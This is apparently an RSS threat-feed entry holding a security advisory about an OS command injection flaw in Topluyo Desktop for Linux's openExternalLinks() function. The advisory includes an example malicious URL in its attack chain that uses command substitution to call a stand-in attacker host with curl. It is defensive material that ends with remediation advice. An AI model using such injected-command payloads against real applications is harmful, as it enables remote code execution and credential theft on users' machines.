<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:webfeeds="http://webfeeds.org/rss/1.0"><channel><title>Cpe:2.3:a:topluyo:topluyo_desktop:*:*:*:*:*:linux:*:* - CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/cpes/cpe2.3atopluyotopluyo_desktoplinux/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata. Fed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Mon, 02 Nov 2026 13:26:29 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/cpes/cpe2.3atopluyotopluyo_desktoplinux/feed.xml" rel="self" type="application/rss+xml"/><image><url>https://feed.craftedsignal.io/favicon-32x32.png</url><title>CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/</link><width>32</width><height>32</height></image><webfeeds:icon>https://feed.craftedsignal.io/favicon.svg</webfeeds:icon><item><title>Topluyo Desktop for Linux OS Command Injection (CVE-2026-115904)</title><link>https://feed.craftedsignal.io/briefs/2026-11-topluyo-rce/</link><pubDate>Mon, 02 Nov 2026 13:26:29 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-11-topluyo-rce/</guid><description>Topluyo Desktop for Linux versions prior to 2026.9.2410 are vulnerable to OS Command Injection via the openExternalLinks function in utils.js, allowing unauthenticated attackers to achieve RCE through malicious link-handling.</description><content:encoded><![CDATA[<p>Topluyo Desktop for Linux contains an OS Command Injection vulnerability (CVE-2026-115904) in the <code>openExternalLinks()</code> function within <code>utils.js</code>. The application improperly neutralizes user-supplied URLs before passing them to the <code>child_process.exec()</code> function, which executes commands via <code>/bin/sh -c</code>. Attackers can trigger arbitrary code execution by crafting a malicious URL containing shell meta-characters. The vulnerability was patched in version 2026.9.2410.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker crafts a URL string containing command substitution syntax, such as <code>$(curl -s attacker.com/id)</code>.</li>
<li>Attacker hosts or delivers the malicious link to a target user via the application interface (e.g., chat, notification, or link preview).</li>
<li>The target user interacts with the link (clicks).</li>
<li>The <code>openExternalLinks()</code> function receives the URL.</li>
<li>The application invokes <code>child_process.exec(&quot;xdg-open [malicious_url]&quot;)</code>.</li>
<li>The system shell interprets the command substitution inside the URL parameter before executing <code>xdg-open</code>.</li>
<li>Arbitrary commands execute in the context of the user running the Topluyo Desktop application.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation leads to full remote code execution in the context of the current desktop user. Impact includes arbitrary file access, credential theft, persistence installation (e.g., modifying <code>~/.bashrc</code> or <code>autostart</code>), and the establishment of reverse shells.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Topluyo Desktop for Linux to version 2026.9.2410 or later immediately.</li>
<li>For developers, replace <code>child_process.exec()</code> with <code>child_process.execFile()</code> when handling external system commands to prevent shell interpretation of arguments.</li>
<li>Implement strict allow-listing for URL schemes (e.g., limit to <code>http:</code> and <code>https:</code>) before passing values to system calls.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>rce</category><category>command-injection</category><category>linux</category><category>desktop-app</category></item></channel></rss>